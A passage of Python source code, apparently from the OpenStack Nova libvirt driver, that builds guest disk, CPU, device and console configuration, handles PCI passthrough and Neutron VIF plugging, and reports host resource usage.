is_block_dev=disk_image.is_block_dev) size = eph['size'] * units.Gi fname = "ephemeral_%s_%s" % (eph['size'], os_type_with_default) disk_image.cache( fetch_func=fn, filename=fname, size=size, ephemeral_size=eph['size']) if 'disk.swap' in disk_mapping: mapping = disk_mapping['disk.swap'] swap_mb = 0 swap = driver.block_device_info_get_swap(block_device_info) if driver.swap_is_usable(swap): swap_mb = swap['swap_size'] elif (inst_type['swap'] > 0 and not block_device.volume_in_mapping( mapping['dev'], block_device_info)): swap_mb = inst_type['swap'] if swap_mb > 0: size = swap_mb * units.Mi image('disk.swap').cache(fetch_func=self._create_swap, filename="swap_%s" % swap_mb, size=size, swap_mb=swap_mb) # Config drive if configdrive.required_by(instance): LOG.info(_('Using config drive'), instance=instance) extra_md = {} if admin_pass: extra_md['admin_pass'] = admin_pass inst_md = instance_metadata.InstanceMetadata(instance, content=files, extra_md=extra_md, network_info=network_info) with configdrive.ConfigDriveBuilder(instance_md=inst_md) as cdb: configdrive_path = self._get_disk_config_path(instance) LOG.info(_('Creating config drive at %(path)s'), {'path': configdrive_path}, instance=instance) try: cdb.make_drive(configdrive_path) except processutils.ProcessExecutionError as e: with excutils.save_and_reraise_exception(): LOG.error(_('Creating config drive failed ' 'with error: %s'), e, instance=instance) # File injection only if needed elif inject_files and CONF.libvirt.inject_partition != -2: if booted_from_volume: LOG.warn(_('File injection into a boot from volume ' 'instance is not supported'), instance=instance) self._inject_data( instance, network_info, admin_pass, files, suffix) if CONF.libvirt.virt_type == 'uml': libvirt_utils.chown(image('disk').path, 'root') def _prepare_pci_devices_for_use(self, pci_devices): # kvm , qemu support managed mode # In managed mode, the configured device will be automatically # detached from the host OS drivers when the guest is started, # and then re-attached when the guest shuts down. if CONF.libvirt.virt_type != 'xen': # we do manual detach only for xen return try: for dev in pci_devices: libvirt_dev_addr = dev['hypervisor_name'] libvirt_dev = \ self._conn.nodeDeviceLookupByName(libvirt_dev_addr) # Note(yjiang5) Spelling for 'dettach' is correct, see # http://libvirt.org/html/libvirt-libvirt.html. libvirt_dev.dettach() # Note(yjiang5): A reset of one PCI device may impact other # devices on the same bus, thus we need two separated loops # to detach and then reset it. for dev in pci_devices: libvirt_dev_addr = dev['hypervisor_name'] libvirt_dev = \ self._conn.nodeDeviceLookupByName(libvirt_dev_addr) libvirt_dev.reset() except libvirt.libvirtError as exc: raise exception.PciDevicePrepareFailed(id=dev['id'], instance_uuid= dev['instance_uuid'], reason=str(exc)) def _detach_pci_devices(self, dom, pci_devs): # for libvirt version < 1.1.1, this is race condition # so forbid detach if not had this version if not self.has_min_version(MIN_LIBVIRT_DEVICE_CALLBACK_VERSION): if pci_devs: reason = (_("Detaching PCI devices with libvirt < %(ver)s" " is not permitted") % {'ver': MIN_LIBVIRT_DEVICE_CALLBACK_VERSION}) raise exception.PciDeviceDetachFailed(reason=reason, dev=pci_devs) try: for dev in pci_devs: dom.detachDeviceFlags(self.get_guest_pci_device(dev).to_xml(), libvirt.VIR_DOMAIN_AFFECT_LIVE) # after detachDeviceFlags returned, we should check the dom to # ensure the detaching is finished xml = dom.XMLDesc(0) xml_doc = etree.fromstring(xml) guest_config = vconfig.LibvirtConfigGuest() guest_config.parse_dom(xml_doc) for hdev in [d for d in guest_config.devices if d.type == 'pci']: hdbsf = [hdev.domain, hdev.bus, hdev.slot, hdev.function] dbsf = pci_utils.parse_address(dev['address']) if [int(x, 16) for x in hdbsf] ==\ [int(x, 16) for x in dbsf]: raise exception.PciDeviceDetachFailed(reason= "timeout", dev=dev) except libvirt.libvirtError as ex: error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_NO_DOMAIN: LOG.warn(_("Instance disappeared while detaching " "a PCI device from it.")) else: raise def _attach_pci_devices(self, dom, pci_devs): try: for dev in pci_devs: dom.attachDevice(self.get_guest_pci_device(dev).to_xml()) except libvirt.libvirtError: LOG.error(_('Attaching PCI devices %(dev)s to %(dom)s failed.') % {'dev': pci_devs, 'dom': dom.ID()}) raise def _set_host_enabled(self, enabled, disable_reason=DISABLE_REASON_UNDEFINED): """Enables / Disables the compute service on this host. This doesn't override non-automatic disablement with an automatic setting; thereby permitting operators to keep otherwise healthy hosts out of rotation. """ status_name = {True: 'disabled', False: 'enabled'} disable_service = not enabled ctx = nova_context.get_admin_context() try: service = service_obj.Service.get_by_compute_host(ctx, CONF.host) if service.disabled != disable_service: # Note(jang): this is a quick fix to stop operator- # disabled compute hosts from re-enabling themselves # automatically. We prefix any automatic reason code # with a fixed string. We only re-enable a host # automatically if we find that string in place. # This should probably be replaced with a separate flag. if not service.disabled or ( service.disabled_reason and service.disabled_reason.startswith(DISABLE_PREFIX)): service.disabled = disable_service service.disabled_reason = ( DISABLE_PREFIX + disable_reason if disable_service else DISABLE_REASON_UNDEFINED) service.save() LOG.debug(_('Updating compute service status to %s'), status_name[disable_service]) else: LOG.debug(_('Not overriding manual compute service ' 'status with: %s'), status_name[disable_service]) except exception.ComputeHostNotFound: LOG.warn(_('Cannot update service status on host: %s,' 'since it is not registered.') % CONF.host) except Exception: LOG.warn(_('Cannot update service status on host: %s,' 'due to an unexpected exception.') % CONF.host, exc_info=True) def get_host_capabilities(self): """Returns an instance of config.LibvirtConfigCaps representing the capabilities of the host. """ if not self._caps: xmlstr = self._conn.getCapabilities() self._caps = vconfig.LibvirtConfigCaps() self._caps.parse_str(xmlstr) if hasattr(libvirt, 'VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES'): try: features = self._conn.baselineCPU( [self._caps.host.cpu.to_xml()], libvirt.VIR_CONNECT_BASELINE_CPU_EXPAND_FEATURES) # FIXME(wangpan): the return value of baselineCPU should be # None or xml string, but libvirt has a bug # of it from 1.1.2 which is fixed in 1.2.0, # this -1 checking should be removed later. if features and features != -1: self._caps.host.cpu.parse_str(features) except libvirt.VIR_ERR_NO_SUPPORT: # Note(yjiang5): ignore if libvirt has no support pass return self._caps def get_host_uuid(self): """Returns a UUID representing the host.""" caps = self.get_host_capabilities() return caps.host.uuid def get_host_cpu_for_guest(self): """Returns an instance of config.LibvirtConfigGuestCPU representing the host's CPU model & topology with policy for configuring a guest to match """ caps = self.get_host_capabilities() hostcpu = caps.host.cpu guestcpu = vconfig.LibvirtConfigGuestCPU() guestcpu.model = hostcpu.model guestcpu.vendor = hostcpu.vendor guestcpu.arch = hostcpu.arch guestcpu.match = "exact" for hostfeat in hostcpu.features: guestfeat = vconfig.LibvirtConfigGuestCPUFeature(hostfeat.name) guestfeat.policy = "require" guestcpu.features.append(guestfeat) return guestcpu def get_guest_cpu_config(self): mode = CONF.libvirt.cpu_mode model = CONF.libvirt.cpu_model if mode is None: if ((CONF.libvirt.virt_type == "kvm" or CONF.libvirt.virt_type == "qemu")): mode = "host-model" else: mode = "none" if mode == "none": return None if ((CONF.libvirt.virt_type != "kvm" and CONF.libvirt.virt_type != "qemu")): msg = _("Config requested an explicit CPU model, but " "the current libvirt hypervisor '%s' does not " "support selecting CPU models") % CONF.libvirt.virt_type raise exception.Invalid(msg) if mode == "custom" and model is None: msg = _("Config requested a custom CPU model, but no " "model name was provided") raise exception.Invalid(msg) elif mode != "custom" and model is not None: msg = _("A CPU model name should not be set when a " "host CPU model is requested") raise exception.Invalid(msg) LOG.debug(_("CPU mode '%(mode)s' model '%(model)s' was chosen") % {'mode': mode, 'model': (model or "")}) # TODO(berrange): in the future, when MIN_LIBVIRT_VERSION is # updated to be at least this new, we can kill off the elif # blocks here if self.has_min_version(MIN_LIBVIRT_HOST_CPU_VERSION): cpu = vconfig.LibvirtConfigGuestCPU() cpu.mode = mode cpu.model = model elif mode == "custom": cpu = vconfig.LibvirtConfigGuestCPU() cpu.model = model elif mode == "host-model": cpu = self.get_host_cpu_for_guest() elif mode == "host-passthrough": msg = _("Passthrough of the host CPU was requested but " "this libvirt version does not support this feature") raise exception.NovaException(msg) return cpu def get_guest_disk_config(self, instance, name, disk_mapping, inst_type, image_type=None): image = self.image_backend.image(instance, name, image_type) disk_info = disk_mapping[name] return image.libvirt_info(disk_info['bus'], disk_info['dev'], disk_info['type'], self.disk_cachemode, inst_type['extra_specs'], self.get_hypervisor_version()) def get_guest_storage_config(self, instance, image_meta, disk_info, rescue, block_device_info, inst_type): devices = [] disk_mapping = disk_info['mapping'] block_device_mapping = driver.block_device_info_get_mapping( block_device_info) if CONF.libvirt.virt_type == "lxc": fs = vconfig.LibvirtConfigGuestFilesys() fs.source_type = "mount" fs.source_dir = os.path.join( libvirt_utils.get_instance_path(instance), 'rootfs') devices.append(fs) else: if rescue: diskrescue = self.get_guest_disk_config(instance, 'disk.rescue', disk_mapping, inst_type) devices.append(diskrescue) diskos = self.get_guest_disk_config(instance, 'disk', disk_mapping, inst_type) devices.append(diskos) else: if 'disk' in disk_mapping: diskos = self.get_guest_disk_config(instance, 'disk', disk_mapping, inst_type) devices.append(diskos) if 'disk.local' in disk_mapping: disklocal = self.get_guest_disk_config(instance, 'disk.local', disk_mapping, inst_type) devices.append(disklocal) self.virtapi.instance_update( nova_context.get_admin_context(), instance['uuid'], {'default_ephemeral_device': block_device.prepend_dev(disklocal.target_dev)}) for idx, eph in enumerate( driver.block_device_info_get_ephemerals( block_device_info)): diskeph = self.get_guest_disk_config( instance, blockinfo.get_eph_disk(idx), disk_mapping, inst_type) devices.append(diskeph) if 'disk.swap' in disk_mapping: diskswap = self.get_guest_disk_config(instance, 'disk.swap', disk_mapping, inst_type) devices.append(diskswap) self.virtapi.instance_update( nova_context.get_admin_context(), instance['uuid'], {'default_swap_device': block_device.prepend_dev( diskswap.target_dev)}) for vol in block_device_mapping: connection_info = vol['connection_info'] vol_dev = block_device.prepend_dev(vol['mount_device']) info = disk_mapping[vol_dev] cfg = self.volume_driver_method('connect_volume', connection_info, info) devices.append(cfg) if 'disk.config' in disk_mapping: diskconfig = self.get_guest_disk_config(instance, 'disk.config', disk_mapping, inst_type, 'raw') devices.append(diskconfig) for d in devices: self.set_cache_mode(d) if (image_meta and image_meta.get('properties', {}).get('hw_scsi_model')): hw_scsi_model = image_meta['properties']['hw_scsi_model'] scsi_controller = vconfig.LibvirtConfigGuestController() scsi_controller.type = 'scsi' scsi_controller.model = hw_scsi_model devices.append(scsi_controller) return devices def get_guest_config_sysinfo(self, instance): sysinfo = vconfig.LibvirtConfigGuestSysinfo() sysinfo.system_manufacturer = version.vendor_string() sysinfo.system_product = version.product_string() sysinfo.system_version = version.version_string_with_package() sysinfo.system_serial = self.get_host_uuid() sysinfo.system_uuid = instance['uuid'] return sysinfo def get_guest_pci_device(self, pci_device): dbsf = pci_utils.parse_address(pci_device['address']) dev = vconfig.LibvirtConfigGuestHostdevPCI() dev.domain, dev.bus, dev.slot, dev.function = dbsf # only kvm support managed mode if CONF.libvirt.virt_type in ('xen',): dev.managed = 'no' if CONF.libvirt.virt_type in ('kvm', 'qemu'): dev.managed = 'yes' return dev def get_guest_config(self, instance, network_info, image_meta, disk_info, rescue=None, block_device_info=None): """Get config data for parameters. :param rescue: optional dictionary that should contain the key 'ramdisk_id' if a ramdisk is needed for the rescue image and 'kernel_id' if a kernel is needed for the rescue image. """ flavor = flavor_obj.Flavor.get_by_id( nova_context.get_admin_context(read_deleted='yes'), instance['instance_type_id']) inst_path = libvirt_utils.get_instance_path(instance) disk_mapping = disk_info['mapping'] img_meta_prop = image_meta.get('properties', {}) if image_meta else {} CONSOLE = "console=tty0 console=ttyS0" guest = vconfig.LibvirtConfigGuest() guest.virt_type = CONF.libvirt.virt_type guest.name = instance['name'] guest.uuid = instance['uuid'] # We are using default unit for memory: KiB guest.memory = flavor.memory_mb * units.Ki guest.vcpus = flavor.vcpus guest.cpuset = CONF.vcpu_pin_set quota_items = ['cpu_shares', 'cpu_period', 'cpu_quota'] for key, value in flavor.extra_specs.iteritems(): scope = key.split(':') if len(scope) > 1 and scope[0] == 'quota': if scope[1] in quota_items: setattr(guest, scope[1], value) guest.cpu = self.get_guest_cpu_config() if 'root' in disk_mapping: root_device_name = block_device.prepend_dev( disk_mapping['root']['dev']) else: root_device_name = None if root_device_name: # NOTE(yamahata): # for nova.api.ec2.cloud.CloudController.get_metadata() self.virtapi.instance_update( nova_context.get_admin_context(), instance['uuid'], {'root_device_name': root_device_name}) guest.os_type = vm_mode.get_from_instance(instance) if guest.os_type is None: if CONF.libvirt.virt_type == "lxc": guest.os_type = vm_mode.EXE elif CONF.libvirt.virt_type == "uml": guest.os_type = vm_mode.UML elif CONF.libvirt.virt_type == "xen": guest.os_type = vm_mode.XEN else: guest.os_type = vm_mode.HVM if CONF.libvirt.virt_type == "xen" and guest.os_type == vm_mode.HVM: guest.os_loader = CONF.libvirt.xen_hvmloader_path if CONF.libvirt.virt_type in ("kvm", "qemu"): caps = self.get_host_capabilities() if caps.host.cpu.arch in ("i686", "x86_64"): guest.sysinfo = self.get_guest_config_sysinfo(instance) guest.os_smbios = vconfig.LibvirtConfigGuestSMBIOS() # The underlying machine type can be set as an image attribute, # or otherwise based on some architecture specific defaults if (image_meta is not None and image_meta.get('properties') and image_meta['properties'].get('hw_machine_type') is not None): guest.os_mach_type = \ image_meta['properties']['hw_machine_type'] else: # For ARM systems we will default to vexpress-a15 for armv7 # and virt for aarch64 if caps.host.cpu.arch == "armv7l": guest.os_mach_type = "vexpress-a15" if caps.host.cpu.arch == "aarch64": guest.os_mach_type = "virt" if CONF.libvirt.virt_type == "lxc": guest.os_init_path = "/sbin/init" guest.os_cmdline = CONSOLE elif CONF.libvirt.virt_type == "uml": guest.os_kernel = "/usr/bin/linux" guest.os_root = root_device_name else: if rescue: if rescue.get('kernel_id'): guest.os_kernel = os.path.join(inst_path, "kernel.rescue") if CONF.libvirt.virt_type == "xen": guest.os_cmdline = "ro root=%s" % root_device_name else: guest.os_cmdline = ("root=%s %s" % (root_device_name, CONSOLE)) if rescue.get('ramdisk_id'): guest.os_initrd = os.path.join(inst_path, "ramdisk.rescue") elif instance['kernel_id']: guest.os_kernel = os.path.join(inst_path, "kernel") if CONF.libvirt.virt_type == "xen": guest.os_cmdline = "ro root=%s" % root_device_name else: guest.os_cmdline = ("root=%s %s" % (root_device_name, CONSOLE)) if instance['ramdisk_id']: guest.os_initrd = os.path.join(inst_path, "ramdisk") else: guest.os_boot_dev = blockinfo.get_boot_order(disk_info) if (image_meta and image_meta.get('properties', {}).get('os_command_line')): guest.os_cmdline = \ image_meta['properties'].get('os_command_line') if ((CONF.libvirt.virt_type != "lxc" and CONF.libvirt.virt_type != "uml")): guest.acpi = True guest.apic = True # NOTE(mikal): Microsoft Windows expects the clock to be in # "localtime". If the clock is set to UTC, then you can use a # registry key to let windows know, but Microsoft says this is # buggy in http://support.microsoft.com/kb/2687252 clk = vconfig.LibvirtConfigGuestClock() if instance['os_type'] == 'windows': LOG.info(_('Configuring timezone for windows instance to ' 'localtime'), instance=instance) clk.offset = 'localtime' else: clk.offset = 'utc' guest.set_clock(clk) if CONF.libvirt.virt_type == "kvm": # TODO(berrange) One day this should be per-guest # OS type configurable tmpit = vconfig.LibvirtConfigGuestTimer() tmpit.name = "pit" tmpit.tickpolicy = "delay" tmrtc = vconfig.LibvirtConfigGuestTimer() tmrtc.name = "rtc" tmrtc.tickpolicy = "catchup" clk.add_timer(tmpit) clk.add_timer(tmrtc) arch = libvirt_utils.get_arch(image_meta) if arch in ("i686", "x86_64"): # NOTE(rfolco): HPET is a hardware timer for x86 arch. # qemu -no-hpet is not supported on non-x86 targets. tmhpet = vconfig.LibvirtConfigGuestTimer() tmhpet.name = "hpet" tmhpet.present = False clk.add_timer(tmhpet) for cfg in self.get_guest_storage_config(instance, image_meta, disk_info, rescue, block_device_info, flavor): guest.add_device(cfg) for vif in network_info: cfg = self.vif_driver.get_config(instance, vif, image_meta, flavor) guest.add_device(cfg) if ((CONF.libvirt.virt_type == "qemu" or CONF.libvirt.virt_type == "kvm")): # The QEMU 'pty' driver throws away any data if no # client app is connected. Thus we can't get away # with a single type=pty console. Instead we have # to configure two separate consoles. consolelog = vconfig.LibvirtConfigGuestSerial() consolelog.type = "file" consolelog.source_path = self._get_console_log_path(instance) guest.add_device(consolelog) consolepty = vconfig.LibvirtConfigGuestSerial() consolepty.type = "pty" guest.add_device(consolepty) else: consolepty = vconfig.LibvirtConfigGuestConsole() consolepty.type = "pty" guest.add_device(consolepty) # We want a tablet if VNC is enabled, # or SPICE is enabled and the SPICE agent is disabled # NB: this implies that if both SPICE + VNC are enabled # at the same time, we'll get the tablet whether the # SPICE agent is used or not. need_usb_tablet = False if CONF.vnc_enabled: need_usb_tablet = CONF.libvirt.use_usb_tablet elif CONF.spice.enabled and not CONF.spice.agent_enabled: need_usb_tablet = CONF.libvirt.use_usb_tablet if need_usb_tablet and guest.os_type == vm_mode.HVM: tablet = vconfig.LibvirtConfigGuestInput() tablet.type = "tablet" tablet.bus = "usb" guest.add_device(tablet) if CONF.spice.enabled and CONF.spice.agent_enabled and \ CONF.libvirt.virt_type not in ('lxc', 'uml', 'xen'): channel = vconfig.LibvirtConfigGuestChannel() channel.target_name = "com.redhat.spice.0" guest.add_device(channel) # NB some versions of libvirt support both SPICE and VNC # at the same time. We're not trying to second guess which # those versions are. We'll just let libvirt report the # errors appropriately if the user enables both. add_video_driver = False if ((CONF.vnc_enabled and CONF.libvirt.virt_type not in ('lxc', 'uml'))): graphics = vconfig.LibvirtConfigGuestGraphics() graphics.type = "vnc" graphics.keymap = CONF.vnc_keymap graphics.listen = CONF.vncserver_listen guest.add_device(graphics) add_video_driver = True if CONF.spice.enabled and \ CONF.libvirt.virt_type not in ('lxc', 'uml', 'xen'): graphics = vconfig.LibvirtConfigGuestGraphics() graphics.type = "spice" graphics.keymap = CONF.spice.keymap graphics.listen = CONF.spice.server_listen guest.add_device(graphics) add_video_driver = True if add_video_driver: VALID_VIDEO_DEVICES = ("vga", "cirrus", "vmvga", "xen", "qxl") video = vconfig.LibvirtConfigGuestVideo() # NOTE(ldbragst): The following logic sets the video.type # depending on supported defaults given the architecture, # virtualization type, and features. The video.type attribute can # be overridden by the user with image_meta['properties'], which # is carried out in the next if statement below this one. arch = libvirt_utils.get_arch(image_meta) if guest.os_type == vm_mode.XEN: video.type = 'xen' elif arch in ('ppc', 'ppc64'): # NOTE(ldbragst): PowerKVM doesn't support 'cirrus' be default # so use 'vga' instead when running on Power hardware. video.type = 'vga' elif CONF.spice.enabled: video.type = 'qxl' if img_meta_prop.get('hw_video_model'): video.type = img_meta_prop.get('hw_video_model') if (video.type not in VALID_VIDEO_DEVICES): raise exception.InvalidVideoMode(model=video.type) # Set video memory, only if the flavor's limit is set video_ram = int(img_meta_prop.get('hw_video_ram', 0)) max_vram = int(flavor.extra_specs .get('hw_video:ram_max_mb', 0)) if video_ram > max_vram: raise exception.RequestedVRamTooHigh(req_vram=video_ram, max_vram=max_vram) if max_vram and video_ram: video.vram = video_ram guest.add_device(video) # Qemu guest agent only support 'qemu' and 'kvm' hypervisor if CONF.libvirt.virt_type in ('qemu', 'kvm'): qga_enabled = False # Enable qga only if the 'hw_qemu_guest_agent' is equal to yes hw_qga = img_meta_prop.get('hw_qemu_guest_agent', 'no') if hw_qga.lower() == 'yes': LOG.debug(_("Qemu guest agent is enabled through image " "metadata"), instance=instance) qga_enabled = True if qga_enabled: qga = vconfig.LibvirtConfigGuestChannel() qga.type = "unix" qga.target_name = "org.qemu.guest_agent.0" qga.source_path = ("/var/lib/libvirt/qemu/%s.%s.sock" % ("org.qemu.guest_agent.0", instance['name'])) guest.add_device(qga) if (img_meta_prop.get('hw_rng_model') == 'virtio' and flavor.extra_specs.get('hw_rng:allowed', '').lower() == 'true'): rng_device = vconfig.LibvirtConfigGuestRng() rate_bytes = flavor.extra_specs.get('hw_rng:rate_bytes', 0) period = flavor.extra_specs.get('hw_rng:rate_period', 0) if rate_bytes: rng_device.rate_bytes = int(rate_bytes) rng_device.rate_period = int(period) if (CONF.libvirt.rng_dev_path and not os.path.exists(CONF.libvirt.rng_dev_path)): raise exception.RngDeviceNotExist( path=CONF.libvirt.rng_dev_path) rng_device.backend = CONF.libvirt.rng_dev_path guest.add_device(rng_device) if CONF.libvirt.virt_type in ('xen', 'qemu', 'kvm'): for pci_dev in pci_manager.get_instance_pci_devs(instance): guest.add_device(self.get_guest_pci_device(pci_dev)) else: if len(pci_manager.get_instance_pci_devs(instance)) > 0: raise exception.PciDeviceUnsupportedHypervisor( type=CONF.libvirt.virt_type) watchdog_action = flavor.extra_specs.get('hw_watchdog_action', 'disabled') if (image_meta is not None and image_meta.get('properties', {}).get('hw_watchdog_action')): watchdog_action = image_meta['properties']['hw_watchdog_action'] # NB(sross): currently only actually supported by KVM/QEmu if watchdog_action != 'disabled': if watchdog_actions.is_valid_watchdog_action(watchdog_action): bark = vconfig.LibvirtConfigGuestWatchdog() bark.action = watchdog_action guest.add_device(bark) else: raise exception.InvalidWatchdogAction(action=watchdog_action) return guest def to_xml(self, context, instance, network_info, disk_info, image_meta=None, rescue=None, block_device_info=None, write_to_disk=False): # We should get image metadata every time for generating xml if image_meta is None: (image_service, image_id) = glance.get_remote_image_service( context, instance['image_ref']) image_meta = compute_utils.get_image_metadata( context, image_service, image_id, instance) # NOTE(danms): Stringifying a NetworkInfo will take a lock. Do # this ahead of time so that we don't acquire it while also # holding the logging lock. network_info_str = str(network_info) LOG.debug(_('Start to_xml ' 'network_info=%(network_info)s ' 'disk_info=%(disk_info)s ' 'image_meta=%(image_meta)s rescue=%(rescue)s' 'block_device_info=%(block_device_info)s'), {'network_info': network_info_str, 'disk_info': disk_info, 'image_meta': image_meta, 'rescue': rescue, 'block_device_info': block_device_info}, instance=instance) conf = self.get_guest_config(instance, network_info, image_meta, disk_info, rescue, block_device_info) xml = conf.to_xml() if write_to_disk: instance_dir = libvirt_utils.get_instance_path(instance) xml_path = os.path.join(instance_dir, 'libvirt.xml') libvirt_utils.write_to_file(xml_path, xml) LOG.debug(_('End to_xml xml=%(xml)s'), {'xml': xml}, instance=instance) return xml def _lookup_by_id(self, instance_id): """Retrieve libvirt domain object given an instance id. All libvirt error handling should be handled in this method and relevant nova exceptions should be raised in response. """ try: return self._conn.lookupByID(instance_id) except libvirt.libvirtError as ex: error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_NO_DOMAIN: raise exception.InstanceNotFound(instance_id=instance_id) msg = (_("Error from libvirt while looking up %(instance_id)s: " "[Error Code %(error_code)s] %(ex)s") % {'instance_id': instance_id, 'error_code': error_code, 'ex': ex}) raise exception.NovaException(msg) def _lookup_by_name(self, instance_name): """Retrieve libvirt domain object given an instance name. All libvirt error handling should be handled in this method and relevant nova exceptions should be raised in response. """ try: return self._conn.lookupByName(instance_name) except libvirt.libvirtError as ex: error_code = ex.get_error_code() if error_code == libvirt.VIR_ERR_NO_DOMAIN: raise exception.InstanceNotFound(instance_id=instance_name) msg = (_('Error from libvirt while looking up %(instance_name)s: ' '[Error Code %(error_code)s] %(ex)s') % {'instance_name': instance_name, 'error_code': error_code, 'ex': ex}) raise exception.NovaException(msg) def get_info(self, instance): """Retrieve information from libvirt for a specific instance name. If a libvirt error is encountered during lookup, we might raise a NotFound exception or Error exception depending on how severe the libvirt error is. """ virt_dom = self._lookup_by_name(instance['name']) (state, max_mem, mem, num_cpu, cpu_time) = virt_dom.info() return {'state': LIBVIRT_POWER_STATE[state], 'max_mem': max_mem, 'mem': mem, 'num_cpu': num_cpu, 'cpu_time': cpu_time, 'id': virt_dom.ID()} def _create_domain(self, xml=None, domain=None, instance=None, launch_flags=0, power_on=True): """Create a domain. Either domain or xml must be passed in. If both are passed, then the domain definition is overwritten from the xml. """ inst_path = None if instance: inst_path = libvirt_utils.get_instance_path(instance) if CONF.libvirt.virt_type == 'lxc': if not inst_path: inst_path = None container_dir = os.path.join(inst_path, 'rootfs') fileutils.ensure_tree(container_dir) image = self.image_backend.image(instance, 'disk') container_root_device = disk.setup_container(image.path, container_dir=container_dir, use_cow=CONF.use_cow_images) #Note(GuanQiang): save container root device name here, used for # detaching the linked image device when deleting # the lxc instance. if container_root_device: self.virtapi.instance_update( nova_context.get_admin_context(), instance['uuid'], {'root_device_name': container_root_device}) if xml: try: domain = self._conn.defineXML(xml) except Exception as e: LOG.error(_("An error occurred while trying to define a domain" " with xml: %s") % xml) raise e if power_on: try: domain.createWithFlags(launch_flags) except Exception as e: with excutils.save_and_reraise_exception(): LOG.error(_("An error occurred while trying to launch a " "defined domain with xml: %s") % domain.XMLDesc(0)) if not utils.is_neutron(): try: self._enable_hairpin(domain.XMLDesc(0)) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_("An error occurred while enabling hairpin " "mode on domain with xml: %s") % domain.XMLDesc(0)) # NOTE(uni): Now the container is running with its own private mount # namespace and so there is no need to keep the container rootfs # mounted in the host namespace if CONF.libvirt.virt_type == 'lxc': state = self.get_info(instance)['state'] container_dir = os.path.join(inst_path, 'rootfs') if state == power_state.RUNNING: disk.clean_lxc_namespace(container_dir=container_dir) else: disk.teardown_container(container_dir=container_dir) return domain def _neutron_failed_callback(self, event_name, instance): LOG.error(_('Neutron Reported failure on event ' '%(event)s for instance %(uuid)s'), {'event': event_name, 'uuid': instance.uuid}) if CONF.vif_plugging_is_fatal: raise exception.NovaException() def _get_neutron_events(self, network_info): # NOTE(danms): We need to collect any VIFs that are currently # down that we expect a down->up event for. Anything that is # already up will not undergo that transition, and for # anything that might be stale (cache-wise) assume it's # already up so we don't block on it. return [('network-vif-plugged', vif['id']) for vif in network_info if vif.get('active', True) is False] def _create_domain_and_network(self, context, xml, instance, network_info, block_device_info=None, power_on=True, reboot=False, vifs_already_plugged=False): """Do required network setup and create domain.""" block_device_mapping = driver.block_device_info_get_mapping( block_device_info) for vol in block_device_mapping: connection_info = vol['connection_info'] disk_info = blockinfo.get_info_from_bdm( CONF.libvirt.virt_type, vol) conf = self.volume_driver_method('connect_volume', connection_info, disk_info) # cache device_path in connection_info -- required by encryptors if (not reboot and 'data' in connection_info and 'volume_id' in connection_info['data']): connection_info['data']['device_path'] = conf.source_path vol['connection_info'] = connection_info vol.save(context) volume_id = connection_info['data']['volume_id'] encryption = encryptors.get_encryption_metadata( context, self._volume_api, volume_id, connection_info) if encryption: encryptor = self._get_volume_encryptor(connection_info, encryption) encryptor.attach_volume(context, **encryption) timeout = CONF.vif_plugging_timeout if utils.is_neutron() and not vifs_already_plugged and timeout: events = self._get_neutron_events(network_info) else: events = [] try: with self.virtapi.wait_for_instance_event( instance, events, deadline=timeout, error_callback=self._neutron_failed_callback): self.plug_vifs(instance, network_info) self.firewall_driver.setup_basic_filtering(instance, network_info) self.firewall_driver.prepare_instance_filter(instance, network_info) domain = self._create_domain( xml, instance=instance, launch_flags=libvirt.VIR_DOMAIN_START_PAUSED, power_on=power_on) self.firewall_driver.apply_instance_filter(instance, network_info) except exception.NovaException: # Neutron reported failure and we didn't swallow it, so # bail here domain.destroy() self.cleanup(context, instance, network_info=network_info, block_device_info=block_device_info) raise exception.VirtualInterfaceCreateException() except eventlet.timeout.Timeout: # We never heard from Neutron LOG.warn(_('Timeout waiting for vif plugging callback for ' 'instance %(uuid)s'), {'uuid': instance['uuid']}) if CONF.vif_plugging_is_fatal: domain.destroy() self.cleanup(context, instance, network_info=network_info, block_device_info=block_device_info) raise exception.VirtualInterfaceCreateException() domain.resume() return domain def get_all_block_devices(self): """Return all block devices in use on this node.""" devices = [] for dom_id in self.list_instance_ids(): try: domain = self._lookup_by_id(dom_id) doc = etree.fromstring(domain.XMLDesc(0)) except exception.InstanceNotFound: LOG.info(_("libvirt can't find a domain with id: %s") % dom_id) continue except Exception: continue ret = doc.findall('./devices/disk') for node in ret: if node.get('type') != 'block': continue for child in node.getchildren(): if child.tag == 'source': devices.append(child.get('dev')) return devices def get_disks(self, instance_name): """Note that this function takes an instance name. Returns a list of all block devices for this domain. """ domain = self._lookup_by_name(instance_name) xml = domain.XMLDesc(0) try: doc = etree.fromstring(xml) except Exception: return [] return filter(bool, [target.get("dev") for target in doc.findall('devices/disk/target')]) def get_interfaces(self, xml): """Note that this function takes a domain xml. Returns a list of all network interfaces for this instance. """ doc = None try: doc = etree.fromstring(xml) except Exception: return [] interfaces = [] ret = doc.findall('./devices/interface') for node in ret: devdst = None for child in list(node): if child.tag == 'target': devdst = child.attrib['dev'] if devdst is None: continue interfaces.append(devdst) return interfaces def get_vcpu_total(self): """Get available vcpu number of physical computer. :returns: the number of cpu core instances can be used. """ if self._vcpu_total != 0: return self._vcpu_total try: total_pcpus = self._conn.getInfo()[2] except libvirt.libvirtError: LOG.warn(_("Cannot get the number of cpu, because this " "function is not implemented for this platform. ")) return 0 if CONF.vcpu_pin_set is None: self._vcpu_total = total_pcpus return self._vcpu_total available_ids = cpu.get_cpuset_ids() if available_ids[-1] >= total_pcpus: raise exception.Invalid(_("Invalid vcpu_pin_set config, " "out of hypervisor cpu range.")) self._vcpu_total = len(available_ids) return self._vcpu_total def get_memory_mb_total(self): """Get the total memory size(MB) of physical computer. :returns: the total amount of memory(MB). """ return self._conn.getInfo()[1] @staticmethod def get_local_gb_info(): """Get local storage info of the compute node in GB. :returns: A dict containing: :total: How big the overall usable filesystem is (in gigabytes) :free: How much space is free (in gigabytes) :used: How much space is used (in gigabytes) """ if CONF.libvirt.images_type == 'lvm': info = libvirt_utils.get_volume_group_info( CONF.libvirt.images_volume_group) else: info = libvirt_utils.get_fs_info(CONF.instances_path) for (k, v) in info.iteritems(): info[k] = v / units.Gi return info def get_vcpu_used(self): """Get vcpu usage number of physical computer. :returns: The total number of vcpu(s) that are currently being used. """ total = 0 if CONF.libvirt.virt_type == 'lxc': return total + 1 dom_ids = self.list_instance_ids() for dom_id in dom_ids: try: dom = self._lookup_by_id(dom_id) try: vcpus = dom.vcpus() except 